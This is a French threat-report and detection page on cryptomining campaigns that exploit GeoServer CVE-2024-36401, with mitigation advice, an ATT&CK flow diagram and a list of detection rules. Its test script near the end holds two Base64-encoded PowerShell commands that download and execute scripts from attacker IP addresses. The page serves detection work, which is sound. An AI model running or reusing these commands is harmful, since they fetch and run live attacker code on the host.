GeoServer sous attaque : campagnes de minage de cryptomonnaie grâce à des logiciels malveillants
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Les acteurs de la menace exploitent la faille d’exécution de code à distance de GeoServer CVE-2024-36401 pour déployer des mineurs de cryptomonnaie et NetCat sur des serveurs non corrigés. L’activité repose sur PowerShell, Bash et certutil pour télécharger et lancer XMRig à partir de plusieurs domaines malveillants et adresses IP. Plusieurs scripts de téléchargement et droppeurs sont utilisés, souvent empaquetés dans des archives ZIP et persistants en tant que services via NSSM. L’objectif principal est de s’emparer des ressources de calcul pour un minage non autorisé.
Enquête
Le rapport décrit trois variantes (A, B, C) qui utilisent PowerShell encodé, des fetchers basés sur Bash et certutil pour récupérer les charges utiles de mineurs depuis pool.supportxmr.com et plusieurs sous-domaines aaaaaaaaa.cyou. Les mécanismes de livraison incluent des scripts batch, des bundles ZIP, et un téléchargeur sur mesure nommé systemd, ainsi que des identifiants d’authentification de base HTTP. Les analystes ont extrait des indicateurs clés—URLs, adresses IP et noms de fichiers—pour soutenir la détection et le périmètre.
Atténuation
Appliquer les correctifs GeoServer concernant CVE-2024-36401 et maintenir les déploiements à la dernière version supportée. Bloquer les connexions sortantes vers les pools de minage connus et l’infrastructure associée, et surveiller les exécutions Powershell ou Bash encodées suspectes. Limiter l’utilisation de certutil pour les contextes non admin et imposer une liste blanche d’applications pour empêcher les services non autorisés installés via NSSM.
Réponse
Implémenter des détections pour les lignes de commande observées, les hachages et les indicateurs de réseau. Mettre en quarantaine les hôtes affectés, éradiquer les services de minage et les artefacts de persistance, et effectuer un balayage forensic pour toute charge utile secondaire. Faire tourner les identifiants exposés et exiger une authentification multi-facteurs pour l’accès administratif.
graph TB %% Définitions des classes classDef action fill:#ffcc99 %% Nœuds Action/Technique classDef builtin fill:#e0e0e0 %% Nœuds Outils et utilitaires intégrés classDef malware fill:#ff9999 %% Nœuds Maliciel %% Définitions des nœuds tech_initial_access[« <b>Technique</b> – <b>T1210 Exploitation des services distants</b><br/>Description : Exploiter la CVEu20112024u201136401 dans GeoServer pour une exécution de code à distance »] class tech_initial_access action tool_geoserver[« <b>Outil</b> – <b>Nom</b> : GeoServer<br/><b>Vulnérabilité</b> : CVEu20112024u201136401 »] class tool_geoserver builtin tech_execution_ps[« <b>Technique</b> – <b>T1059.001 PowerShell</b><br/>Description : Exécuter des commandes PowerShell encodées pour télécharger et lancer des scripts malveillants »] class tech_execution_ps action tool_powershell[« <b>Outil</b> – <b>Nom</b> : PowerShell »] class tool_powershell builtin tech_obfuscation[« <b>Technique</b> – <b>T1027 Fichiers ou informations obfusqués</b><br/>Description : Encodage Base64 des charges utiles livrées via certutil et Bash »] class tech_obfuscation action tool_certutil[« <b>Outil</b> – <b>Nom</b> : certutil »] class tool_certutil builtin tool_bash[« <b>Outil</b> – <b>Nom</b> : Bash »] class tool_bash builtin tech_deobfuscation[« <b>Technique</b> – <b>T1140 Désobfusquer/Décoder des fichiers ou informations</b><br/>Description : Décoder les charges utiles Base64 sur l’hôte avant l’exécution »] class tech_deobfuscation action tech_defense_evasion[« <b>Technique</b> – <b>T1562 Altération des défenses</b><br/>Description : Désactiver Windows Defender et ajouter des exclusions de fichiers/chemins »] class tech_defense_evasion action tool_windows_defender[« <b>Outil</b> – <b>Nom</b> : Windows Defender »] class tool_windows_defender builtin tech_persistence[« <b>Technique</b> – <b>T1543.002 Créer ou modifier un processus système : service systemd</b><br/>Description : Utiliser NSSM pour installer XMRig comme service persistant »] class tech_persistence action tool_nssm[« <b>Outil</b> – <b>Nom</b> : NSSM (Nonu2011Sucking Service Manager) »] class tool_nssm builtin malware_xmrig[« <b>Maliciel</b> – <b>Nom</b> : XMRig<br/><b>Objectif</b> : Minage de cryptomonnaie »] class malware_xmrig malware tech_impact[« <b>Technique</b> – <b>T1496.001 Détournement de ressources de calcul</b><br/>Description : Détourner des cycles CPU pour miner de la cryptomonnaie »] class tech_impact action tech_indirect_execution[« <b>Technique</b> – <b>T1202 Exécution indirecte de commandes</b><br/>Description : PowerShell lance des scripts supplémentaires via Bash et Netcat »] class tech_indirect_execution action tool_netcat[« <b>Outil</b> – <b>Nom</b> : Netcat »] class tool_netcat builtin %% Connexions tool_geoserver u002du002d>|exploité pour| tech_initial_access tech_initial_access u002du002d>|permet| tech_execution_ps tech_execution_ps u002du002d>|utilise| tool_powershell tech_execution_ps u002du002d>|télécharge via| tool_certutil tech_execution_ps u002du002d>|invoque| tool_bash tech_execution_ps u002du002d>|invoque| tool_netcat tool_certutil u002du002d>|livre des charges utiles encodées à| tech_obfuscation tool_bash u002du002d>|exécute des charges utiles encodées pour| tech_obfuscation tech_obfuscation u002du002d>|nécessite| tech_deobfuscation tech_deobfuscation u002du002d>|prépare l’environnement pour| tech_defense_evasion tech_defense_evasion u002du002d>|désactive| tool_windows_defender tech_defense_evasion u002du002d>|conduit à| tech_persistence tech_persistence u002du002d>|utilise| tool_nssm tool_nssm u002du002d>|installe| malware_xmrig malware_xmrig u002du002d>|exécute| tech_impact tech_execution_ps u002du002d>|déclenche| tech_indirect_execution tech_indirect_execution u002du002d>|utilise| tool_bash tech_indirect_execution u002du002d>|utilise| tool_netcat tech_indirect_execution u002du002d>|facilite| malware_xmrig
Flux d’attaque
Détections
Désactivation des protections de Windows Defender (via registry_event)
Voir
Modifications suspectes des préférences de Windows Defender (via powershell)
Voir
Points possibles de persistance [ASEPs – Hive Software/NTUSER] (via registry_event)
Voir
Schtasks pointe vers un répertoire/binaire/script suspect (via cmdline)
Voir
Fichiers suspects dans le profil utilisateur Public (via file_event)
Voir
Téléchargement ou envoi via Powershell (via cmdline)
Voir
IOCs (SourceIP) pour détecter : Cas d’attaque de mineur de cryptomonnaie ciblant GeoServer
Voir
IOCs (DestinationIP) pour détecter : Cas d’attaque de mineur de cryptomonnaie ciblant GeoServer
Voir
IOCs (HashMd5) pour détecter : Cas d’attaque de mineur de cryptomonnaie ciblant GeoServer
Voir
Détecter l’utilisation de Certutil pour le téléchargement de charges utiles malveillantes exploitant les vulnérabilités GeoServer [Création de processus Windows]
Voir
Détecter les commandes PowerShell encodées ciblant les vulnérabilités GeoServer [Powershell Windows]
Voir
Exécution de simulation
Prérequis : Le contrôle préalable de télémétrie et de base doit avoir été réussi.
Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Narration de l’attaque & Commandes :
Un attaquant a obtenu une charge utile Base64 malveillante qui télécharge un fichier de configuration vulnérable GeoServer, l’exécute, puis dépose un mineur de cryptomonnaie. Pour échapper à la détection simple de script-block, l’attaquant utilise le-encoption avec une chaîne pré-encodée (l’un des deux IOCs connus). L’attaquant exécute la charge utile localement sur un hôte Windows compromis, provoquant la création d’un processuspowershell.exequi inclut exactement la chaîne Base64 surveillée par la règle. -
Script de test de régression :
# ------------------------------------------------- # Script de régression pour déclencher la règle Sigma # ------------------------------------------------- # Charge utile 1 (correspond au premier IOC) $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA=' powershell.exe -enc $b64_1 # Charge utile 2 (correspond au deuxième IOC) $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk=' powershell.exe -enc $b64_2 -
Commandes de nettoyage :
# ------------------------------------------------- # Nettoyage – terminer toute charge Powershell persistante # ------------------------------------------------- Get-Process -Name powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartInfo.Arguments -match '-enc' } | Stop-Process -Force